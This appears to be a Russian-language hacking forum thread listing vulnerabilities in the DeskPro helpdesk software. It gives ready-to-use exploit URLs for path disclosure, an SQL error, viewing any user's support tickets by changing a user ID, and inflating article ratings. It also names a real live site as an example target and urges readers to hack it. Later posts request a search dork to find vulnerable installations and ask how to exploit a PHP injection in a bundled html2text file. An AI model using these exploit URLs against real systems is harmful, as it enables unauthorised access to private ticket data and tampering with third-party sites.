[ Обзор уязвимостей DeskPro ]

[Isis]

Открытие локального пути


Code:
https://site.com/email/backup.php



Code:
https://site.com/email/checks.php

SQL Error & Открытие локального пути


Code:
https://site.com/feeds/rss_tickets.php?user=8&type=replyg

Просмотр петиций любого пользователя


Code:
https://site.com/feeds/rss_tickets.php?user=22&type=replyu

Увеличение рейтинга любой статьи на N


Code:
https://site.com/kb_rate.php?ref=TICKET_NUMBER&howhelpful=9999999

Пример: support.4game.ru, хекайте

[HIMIKAT]

Дорк еще не помешал бы, для поиска этого двига.

[Isis]

deskpro.com

google.com -> q -> deskpro

[Soul Linker]

UP. Тема актуальна.. кто нибудь нашел как можно использовать php-inj в DeskPRO/includes/3rdparty/html2text/html2text.php ?